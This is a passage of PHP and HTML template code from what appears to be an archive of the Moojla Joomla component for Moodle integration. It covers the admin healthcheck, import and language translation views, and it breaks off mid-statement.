/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
?>
<?php if ($this->canDo->get('healthcheck.access')):
?>
<script type="text/javascript">
Joomla.submitbutton = function(task) {
if (task === 'healthcheck.back') {
parent.history.back();
return false;
} else {
var form = document.getElementById('adminForm');
form.task.value = task;
form.submit();
}
}
</script>
<?php $urlId = (isset($this->item->id)) ? '&id='.
(int) $this->item->id : ''; ?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=healthcheck' .
$urlId); ?>" method="post" name="adminForm"
id="adminForm" class="form-validate"
enctype="multipart/form-data">
<!--[JCBGUI.custom_admin_view.default.1.$$$$]-->
<h2>General</h2>
<?php
$cmp = $this->item['component'];
$moodleusersdiff = $this->item['moodleusersdiff'];
$joomlausersdiff = $this->item['joomlausersdiff'];
$coursedif = $this->item['coursedif'];
$catdif = $this->item['catdif'];
?>
<ul class="nav nav-tabs">
<li class="active"><a data-toggle="tab"
href="#connectivity"><?=
JText::_('COM_MOOJLA_CONNECTIVITY') ?></a></li>
<li><a data-toggle="tab"
href="#joomla-plugins"><?=
JText::_('COM_MOOJLA_JOOMLA_PLUGINS') ?></a></li>
<li><a data-toggle="tab"
href="#thirdparty-plugin"><?=
JText::_('COM_MOOJLA_THIRDPARTY_PLUGINS')
?></a></li>
<li><a data-toggle="tab"
href="#synchronization-report"><?=
JText::_('COM_MOOJLA_SYNCHRONIZATION_REPORT')
?></a></li>
</ul>
<div class="tab-content">
<div id="connectivity" class="tab-pane fade in
active">
<h3><?= JText::_('COM_MOOJLA_CONNECTIVITY')
?></h3>
<table width="100%" class="table
table-striped">
<thead>
<tr>
<th width="30%"><?=
JText::_('COM_MOOJLA_CHECK') ?></th>
<th width="10%"><?=
JText::_('COM_MOOJLA_STATUS') ?></th>
<th><?= JText::_('COM_MOOJLA_ERROR')
?></th>
</tr>
</thead>
<tbody>
<tr class="row0">
<td><?= JText::_('COM_MOOJLA_MOODLE_URL')
?></td>
<td align="center">
<?php echo (count((array)$cmp) == 2) ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
</td>
<td align="center"><?php echo
(count((array)$cmp) == 2) ?
JText::_("COM_MOOJLA_ENTER_MOODLE_URL_CORRECTLY_BE_SURE_THAT_ENDING_SLASH_ENTERED")
: ""; ?></td>
</tr>
<?php if(count((array)$cmp) != 2):?>
<tr class="row0">
<td><?= JText::_('COM_MOOJLA_CURL')
?></td>
<td align="center">
<?php echo !$cmp->curlEnabled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
</td>
<td align="center"><?php echo
!$cmp->curlEnabled ? $cmp->error->curlEnabled: "";
?></td>
</tr>
<?php if($cmp->curlEnabled):?>
<tr class="row0">
<td><?=
JText::_('COM_MOOJLA_WEBSERVICES_ENABLED') ?></td>
<td align="center">
<?php echo !$cmp->webservicesEnabled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
</td>
<td align="center"><?php echo
!$cmp->webservicesEnabled ? $cmp->error->webservicesEnabled:
""; ?></td>
</tr>
<?php if($cmp->webservicesEnabled):?>
<tr class="row0">
<td><?= JText::_('COM_MOOJLA_REST')
?></td>
<td align="center">
<?php echo !$cmp->restEnabled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
</td>
<td align="center"><?php echo
!$cmp->restEnabled ? $cmp->error->restEnabled: "";
?></td>
</tr>
<?php if($cmp->restEnabled):?>
<tr class="row0">
<td><?=
JText::_('COM_MOOJLA_MOOJLA_INSTALLED') ?></td>
<td align="center">
<?php echo !$cmp->moojlaInstalled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
</td>
<td align="center"><?php echo
!$cmp->moojlaInstalled ? $cmp->error->moojlaInstalled:
""; ?></td>
</tr>
<?php if($cmp->moojlaInstalled):?>
<tr class="row0">
<td><?=
JText::_('COM_MOOJLA_MOOJLA_ENABLED') ?></td>
<td align="center">
<?php echo !$cmp->moojlaEnabled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
</td>
<td align="center"><?php echo
!$cmp->moojlaEnabled ? $cmp->error->moojlaEnabled: "";
?></td>
</tr>
<?php if($cmp->moojlaEnabled):?>
<tr class="row0">
<td><?=
JText::_('COM_MOOJLA_JOOMLA_URL') ?></td>
<td align="center">
<?php echo !$cmp->joomlaUrlCorrect ?
'<div class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
</td>
<td align="center"><?php echo
!$cmp->joomlaUrlCorrect ? $cmp->error->joomlaUrlCorrect:
""; ?></td>
</tr>
<?php if($cmp->joomlaUrlCorrect):?>
<tr class="row0">
<td><?=
JText::_('COM_MOOJLA_JOOMLA_TOKEN') ?></td>
<td align="center">
<?php echo !$cmp->joomlaTokenCorrect ?
'<div class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
</td>
<td align="center"><?php echo
!$cmp->joomlaTokenCorrect ? $cmp->error->joomlaTokenCorrect:
""; ?></td>
</tr>
<?php if($cmp->joomlaUrlCorrect):?>
<tr class="row0">
<td><?=
JText::_('COM_MOOJLA_MOODLE_TOKEN') ?></td>
<td align="center">
<?php echo !$cmp->moodleToken ?
'<div class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
</td>
<td align="center"><?php echo
!$cmp->moodleToken ? $cmp->error->moodleToken: "";
?></td>
</tr>
<?php endif;?>
<?php endif;?>
<?php endif;?>
<?php endif;?>
<?php endif;?>
<?php endif;?>
<?php endif;?>
<?php endif;?>
</tbody>
</table>
</div>
<div id="joomla-plugins" class="tab-pane
fade">
<h3><?= JText::_('COM_MOOJLA_JOOMLA_PLUGINS')
?></h3>
<table width="100%" class="table
table-striped">
<thead>
<tr>
<th width="30%"><?=
JText::_('COM_MOOJLA_PLUGINS_NAME') ?></th>
<th width="10%"><?=
JText::_('COM_MOOJLA_STATUS') ?></th>
<th><?= JText::_('COM_MOOJLA_IMPORTANCE')
?></th>
</tr>
</thead>
<tbody>
<?php foreach($this->item['plugins']->joomla as
$plg_name => $plugin): ?>
<tr class="row0">
<td><?php echo $plg_name; ?></td>
<td align="center">
<?php echo !$plugin->installed ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_NOT_INSTALLED").'</div>'
: ($plugin->enabled? '<a type="button"
href="javascript:void(0);" onclick="return
jpluginAction('."'".$plg_name."'".',
0)" class="btn
btn-success">'.JText::_("COM_MOOJLA_ENABLED").'</button>'
: '<a type="button" href="javascript:void(0);"
onclick="return
jpluginAction('."'".$plg_name."'".',
1)" class="btn
btn-danger">'.JText::_("COM_MOOJLA_DISABLED").'</a>')?>
</td>
<td align="center"><?php echo
$plugin->importancy; ?></td>
</tr>
<?php endforeach;?>
</tbody>
</table>
</div>
<div id="thirdparty-plugin" class="tab-pane
fade">
<?php foreach($this->item['plugins']->thirdparties
as $tplg_name => $tplugin): ?>
<?php if($tplugin):?>
<?php
echo '<h3>' . $tplg_name . "
Plugins<h3></h3>";
?>
<table width="100%" class="table
table-striped">
<thead>
<tr>
<th width="30%"><?=
JText::_('COM_MOOJLA_PLUGINS_NAME') ?></th>
<th width="10%"><?=
JText::_('COM_MOOJLA_STATUS') ?></th>
<th><?=
JText::_('COM_MOOJLA_IMPORTANCE') ?></th>
</tr>
</thead>
<tbody>
<?php foreach($tplugin as $plg_name => $plugin): ?>
<tr class="row0">
<td><?php echo $plg_name; ?></td>
<td align="center">
<?php echo !$plugin->installed ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_NOT_INSTALLED").'</div>'
: ($plugin->enabled? '<a type="button"
href="javascript:void(0);" onclick="return
jpluginAction(this, 0)" class="btn
btn-success">'.JText::_("COM_MOOJLA_ENABLED").'</a>'
: '<a type="button" href="javascript:void(0);"
onclick="return jpluginAction(this, 1)" class="btn
btn-danger">'.JText::_("COM_MOOJLA_DISABLED").'</a>')?>
</td>
<td align="center"><?php echo
$plugin->importancy; ?></td>
</tr>
<?php endforeach;?>
</tbody>
</table>
<?php else:?>
<strong><?php echo $tplg_name." "
.JText::_("COM_MOOJLA_NOT_INSTALLED"); ?></strong>
<?php endif;?>
<?php endforeach;?>
</div>
<div id="synchronization-report" class="tab-pane
fade">
<ul class="nav nav-tabs">
<li class="active"><a data-toggle="tab"
href="#users"><?= JText::_('COM_MOOJLA_USERS')
?></a></li>
<li><a data-toggle="tab"
href="#courses"><?=
JText::_('COM_MOOJLA_COURSES') ?></a></li>
<li><a data-toggle="tab"
href="#category"><?=
JText::_('COM_MOOJLA_CATEGORIES') ?></a></li>
</ul>
<div class="tab-content">
<div id="users" class="tab-pane fade">
<h3><?= JText::_('COM_MOOJLA_USERS')
?></h3>
<?php $diffnum = count($moodleusersdiff);
echo
JText::sprintf('COM_MOOJLA_S_MOODLE_USERS_NOT_MAPPED_IN_MOOJLA_JOOMLA_SIDE_MOODLE_IDS_LISTED_IN_BOTTOM',
$diffnum);?>
<ul class='users' id='moodle-users'>
<?php foreach($moodleusersdiff as $id):?>
<li><?php echo $id;?></li>
<?php endforeach;?>
</ul>
<?php if($diffnum > 5):?>
<span onclick="showMore('moodle-users',
this)" class="showmore-btn"><?=
JText::_('COM_MOOJLA_SHOW_MORE') ?></span>
<?php endif;?>
<?php $jdiffnum = count($joomlausersdiff);
echo
JText::sprintf('COM_MOOJLA_S_JOOMLA_USERS_NOT_MAPPED_IN_MOOJLA_MOODLE_SIDE_JOOMLA_IDS_LISTED_IN_BOTTOM',
$jdiffnum); ?>
<ul class='users' id='joomla-users'>
<?php foreach($joomlausersdiff as $id):?>
<li><?php echo $id;?></li>
<?php endforeach;?>
</ul>
<?php if($jdiffnum > 5):?>
<span onclick="showMore('joomla-users', this)"
class="showmore-btn"><?=
JText::_('COM_MOOJLA_SHOW_MORE') ?></span>
<?php endif;?>
</div>
<div id="courses" class="tab-pane fade">
<h3><?= JText::_('COM_MOOJLA_COURSES')
?></h3>
<?php $cdiffnum = count($coursedif);
echo
JText::sprintf('COM_MOOJLA_S_MOODLE_COURSES_NOT_MAPPED_IN_MOOJLA_JOOMLA_SIDE_MOODLE_COURSE_IDS_LISTED_IN_BOTTOM',
$cdiffnum); ?>
<ul class='users' id='moodle-courses'>
<?php foreach($coursedif as $id):?>
<li><?php echo $id;?></li>
<?php endforeach;?>
</ul>
<?php if($cdiffnum > 5):?>
<span onclick="showMore('moodle-courses',
this)" class="showmore-btn"><?=
JText::_('COM_MOOJLA_SHOW_MORE') ?></span>
<?php endif;?>
</div>
<div id="category" class="tab-pane fade">
<h3><?= JText::_('COM_MOOJLA_CATEGORIES')
?></h3>
<?php $catdifnum = count($catdif);
echo $catdifnum . ' moodle ' . ($catdifnum > 1 ?
'categories' : 'category') . ' not mapped in
moojla (joomla side), moodle category ids listed in bottom:' ?>
<ul class='users'
id='moodle-categories'>
<?php foreach($catdif as $id):?>
<li><?php echo $id;?></li>
<?php endforeach;?>
</ul>
<?php if($catdifnum > 5):?>
<span onclick="showMore('moodle-categories',
this)" class="showmore-btn"><?=
JText::_('COM_MOOJLA_SHOW_MORE') ?></span>
<?php endif;?>
</div>
</div>
</div>
</div><!--[/JCBGUI$$$$]-->
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
<?php else: ?>
<h1><?php echo
JText::_('COM_MOOJLA_NO_ACCESS_GRANTED'); ?></h1>
<?php endif; ?>
views/healthcheck/tmpl/index.html000064400000000054151165724410013122
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/healthcheck/view.html.php000064400000010033151165724410012575
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Healthcheck
*/
class MoojlaViewHealthcheck extends JViewLegacy
{
// Overwriting JView display method
function display($tpl = null)
{
// get component params
$this->params = JComponentHelper::getParams('com_moojla');
// get the application
$this->app = JFactory::getApplication();
// get the user object
$this->user = JFactory::getUser();
// get global action permissions
$this->canDo = MoojlaHelper::getActions('healthcheck');
// Initialise variables.
$this->item = $this->get('Item');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
// add the tool bar
$this->addToolBar();
}
// set the document
$this->setDocument();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode(PHP_EOL, $errors), 500);
}
parent::display($tpl);
}
/**
* Prepares the document
*/
protected function setDocument()
{
// always make sure jquery is loaded.
JHtml::_('jquery.framework');
// Load the header checker class.
require_once(
JPATH_COMPONENT_ADMINISTRATOR.'/helpers/headercheck.php' );
// Initialize the header checker.
$HeaderCheck = new moojlaHeaderCheck;
// Add View JavaScript File
$this->document->addScript(JURI::root(true) .
"/administrator/components/com_moojla/assets/js/healthcheck.js",
(MoojlaHelper::jVersion()->isCompatible("3.8.0")) ?
array("version" => "auto") :
"text/javascript");
// add the document default css file
$this->document->addStyleSheet(JURI::root(true)
.'/administrator/components/com_moojla/assets/css/healthcheck.css',
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
// hide the main menu
$this->app->input->set('hidemainmenu', true);
// set the title
if (isset($this->item->name) && $this->item->name)
{
$title = $this->item->name;
}
// Check for empty title and add view name if param is set
if (empty($title))
{
$title = JText::_('COM_MOOJLA_HEALTHCHECK');
}
// add title to the page
JToolbarHelper::title($title,'health');
// add cpanel button
JToolBarHelper::custom('healthcheck.dashboard',
'grid-2', '', 'COM_MOOJLA_DASH', false);
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('healthcheck');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
}
?>
views/import/index.html000064400000000054151165724410011215
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/import/tmpl/default.php000064400000022122151165724410012331
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('jquery.framework');
JHtml::_('bootstrap.tooltip');
JHtml::_('script', 'system/core.js', false, true);
JHtml::_('behavior.keepalive');
?>
<script type="text/javascript">
<?php if ($this->hasPackage &&
MoojlaHelper::checkArray($this->headerList)) : ?>
Joomla.continueImport = function()
{
var form = document.getElementById('adminForm');
var error = false;
var therequired = [<?php $i = 0; foreach($this->headerList as $name
=> $title) { echo ($i != 0)? ',
"vdm_'.$name.'"':'"vdm_'.$name.'"';
$i++; } ?>];
for(i = 0; i < therequired.length; i++)
{
if(jQuery('#'+therequired[i]).val() == "" )
{
error = true;
break;
}
}
// do field validation
if (error)
{
alert("<?php echo
JText::_('COM_MOOJLA_IMPORT_MSG_PLEASE_SELECT_ALL_COLUMNS',
true); ?>");
}
else
{
jQuery('#loading').css('display',
'block');
form.gettype.value = 'continue';
form.submit();
}
};
<?php else: ?>
Joomla.submitbutton = function()
{
var form = document.getElementById('adminForm');
// do field validation
if (form.import_package.value == "")
{
alert("<?php echo
JText::_('COM_MOOJLA_IMPORT_MSG_PLEASE_SELECT_A_FILE', true);
?>");
}
else
{
jQuery('#loading').css('display',
'block');
form.gettype.value = 'upload';
form.submit();
}
};
Joomla.submitbutton3 = function()
{
var form = document.getElementById('adminForm');
// do field validation
if (form.import_directory.value == ""){
alert("<?php echo
JText::_('COM_MOOJLA_IMPORT_MSG_PLEASE_SELECT_A_DIRECTORY',
true); ?>");
}
else
{
jQuery('#loading').css('display',
'block');
form.gettype.value = 'folder';
form.submit();
}
};
Joomla.submitbutton4 = function()
{
var form = document.getElementById('adminForm');
// do field validation
if (form.import_url.value == "" || form.import_url.value ==
"http://")
{
alert("<?php echo
JText::_('COM_MOOJLA_IMPORT_MSG_ENTER_A_URL', true);
?>");
}
else
{
jQuery('#loading').css('display',
'block');
form.gettype.value = 'url';
form.submit();
}
};
<?php endif; ?>
// Add spindle-wheel for importations:
jQuery(document).ready(function($) {
var outerDiv = $('body');
$('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top - $(window).scrollTop())
.css("left", outerDiv.position().left - $(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
});
</script>
<div id="installer-import" class="clearfix">
<form enctype="multipart/form-data" action="<?php echo
JRoute::_('index.php?option=com_moojla&view=import');?>"
method="post" name="adminForm" id="adminForm"
class="form-horizontal form-validate">
<?php if (!empty( $this->sidebar)) : ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif;?>
<?php if ($this->hasPackage &&
MoojlaHelper::checkArray($this->headerList) &&
MoojlaHelper::checkArray($this->headers)) : ?>
<fieldset class="uploadform">
<legend><?php echo
JText::_('COM_MOOJLA_IMPORT_LINK_FILE_TO_TABLE_COLUMNS');
?></legend>
<div class="control-group">
<label class="control-label" ><h4><?php echo
JText::_('COM_MOOJLA_IMPORT_TABLE_COLUMNS');
?></h4></label>
<div class="controls">
<label class="control-label" ><h4><?php echo
JText::_('COM_MOOJLA_IMPORT_FILE_COLUMNS');
?></h4></label>
</div>
</div>
<?php foreach($this->headerList as $name => $title): ?>
<div class="control-group">
<label for="<?php echo $name; ?>"
class="control-label" ><?php echo $title;
?></label>
<div class="controls">
<select name="<?php echo $name; ?>"
id="vdm_<?php echo $name; ?>" required class="required
input_box" >
<option value=""><?php echo
JText::_('COM_MOOJLA_IMPORT_PLEASE_SELECT_COLUMN');
?></option>
<option value="IGNORE"><?php echo
JText::_('COM_MOOJLA_IMPORT_IGNORE_COLUMN'); ?></option>
<?php foreach($this->headers as $value => $option): ?>
<?php $selected = (strtolower($option) == strtolower ($title) ||
strtolower($option) == strtolower($name))?
'selected="selected"':''; ?>
<option value="<?php echo
MoojlaHelper::htmlEscape($value); ?>" class="required"
<?php echo $selected ?>><?php echo
MoojlaHelper::htmlEscape($option); ?></option>
<?php endforeach; ?>
</select>
</div>
</div>
<?php endforeach; ?>
<div class="form-actions">
<input class="btn btn-primary" type="button"
value="<?php echo JText::_('COM_MOOJLA_IMPORT_CONTINUE');
?>" onclick="Joomla.continueImport()" />
</div>
</fieldset>
<input type="hidden" name="gettype"
value="continue" />
<?php else: ?>
<?php echo JHtml::_('bootstrap.startTabSet',
'myTab', array('active' => 'upload'));
?>
<?php echo JHtml::_('bootstrap.addTab', 'myTab',
'upload', JText::_('COM_MOOJLA_IMPORT_FROM_UPLOAD',
true)); ?>
<fieldset class="uploadform">
<legend><?php echo
JText::_('COM_MOOJLA_IMPORT_UPDATE_DATA'); ?></legend>
<div class="control-group">
<label for="import_package"
class="control-label"><?php echo
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE'); ?></label>
<div class="controls">
<input class="input_box" id="import_package"
name="import_package" type="file" size="57"
/>
</div>
</div>
<div class="form-actions">
<input class="btn btn-primary" type="button"
value="<?php echo
JText::_('COM_MOOJLA_IMPORT_UPLOAD_BOTTON'); ?>"
onclick="Joomla.submitbutton()"
/> <small><?php echo
JText::_('COM_MOOJLA_IMPORT_FORMATS_ACCEPTED'); ?> (.csv .xls
.ods)</small>
</div>
</fieldset>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php echo JHtml::_('bootstrap.addTab', 'myTab',
'directory',
JText::_('COM_MOOJLA_IMPORT_FROM_DIRECTORY', true)); ?>
<fieldset class="uploadform">
<legend><?php echo
JText::_('COM_MOOJLA_IMPORT_UPDATE_DATA'); ?></legend>
<div class="control-group">
<label for="import_directory"
class="control-label"><?php echo
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_DIRECTORY');
?></label>
<div class="controls">
<input type="text" id="import_directory"
name="import_directory" class="span5 input_box"
size="70" value="<?php echo
$this->state->get('import.directory'); ?>" />
</div>
</div>
<div class="form-actions">
<input type="button" class="btn btn-primary"
value="<?php echo
JText::_('COM_MOOJLA_IMPORT_GET_BOTTON'); ?>"
onclick="Joomla.submitbutton3()"
/> <small><?php echo
JText::_('COM_MOOJLA_IMPORT_FORMATS_ACCEPTED'); ?> (.csv .xls
.ods)</small>
</div>
</fieldset>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php echo JHtml::_('bootstrap.addTab', 'myTab',
'url', JText::_('COM_MOOJLA_IMPORT_FROM_URL', true));
?>
<fieldset class="uploadform">
<legend><?php echo
JText::_('COM_MOOJLA_IMPORT_UPDATE_DATA'); ?></legend>
<div class="control-group">
<label for="import_url"
class="control-label"><?php echo
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_URL');
?></label>
<div class="controls">
<input type="text" id="import_url"
name="import_url" class="span5 input_box"
size="70" value="http://" />
</div>
</div>
<div class="form-actions">
<input type="button" class="btn btn-primary"
value="<?php echo
JText::_('COM_MOOJLA_IMPORT_GET_BOTTON'); ?>"
onclick="Joomla.submitbutton4()"
/> <small><?php echo
JText::_('COM_MOOJLA_IMPORT_FORMATS_ACCEPTED'); ?> (.csv .xls
.ods)</small>
</div>
</fieldset>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<input type="hidden" name="gettype"
value="upload" />
<?php endif; ?>
<input type="hidden" name="task"
value="import.import" />
<?php echo JHtml::_('form.token'); ?>
</form>
</div>views/import/tmpl/index.html000064400000000054151165724410012171
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/import/view.html.php000064400000006073151165724410011655
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla Import View
*/
class MoojlaViewImport extends JViewLegacy
{
protected $headerList;
protected $hasPackage = false;
protected $headers;
protected $hasHeader = 0;
protected $dataType;
public function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('import');
}
$paths = new stdClass;
$paths->first = '';
$state = $this->get('state');
$this->paths = &$paths;
$this->state = &$state;
// get global action permissions
$this->canDo = MoojlaHelper::getActions('import');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
}
// get the session object
$session = JFactory::getSession();
// check if it has package
$this->hasPackage = $session->get('hasPackage', false);
$this->dataType = $session->get('dataType', false);
if($this->hasPackage && $this->dataType)
{
$this->headerList =
json_decode($session->get($this->dataType.'_VDM_IMPORTHEADERS',
false),true);
$this->headers = MoojlaHelper::getFileHeaders($this->dataType);
// clear the data type
$session->clear('dataType');
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_IMPORT_TITLE'),
'upload');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=import');
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('import');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
}
views/index.html000064400000000054151165724410007703
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/languagetranslation/index.html000064400000000054151165724410013745
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/languagetranslation/tmpl/default.php000064400000007432151165724410015070
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
?>
<?php if
($this->canDo->get('languagetranslation.access')): ?>
<script type="text/javascript">
Joomla.submitbutton = function(task) {
if (task === 'languagetranslation.back') {
parent.history.back();
return false;
} else {
var form = document.getElementById('adminForm');
form.task.value = task;
form.submit();
}
}
</script>
<?php $urlId = (isset($this->item->id)) ? '&id='.
(int) $this->item->id : ''; ?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=languagetranslation'
. $urlId); ?>" method="post" name="adminForm"
id="adminForm" class="form-validate"
enctype="multipart/form-data">
<!--[JCBGUI.custom_admin_view.default.2.$$$$]-->
<?php
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');
$form = JForm::getInstance("langform",
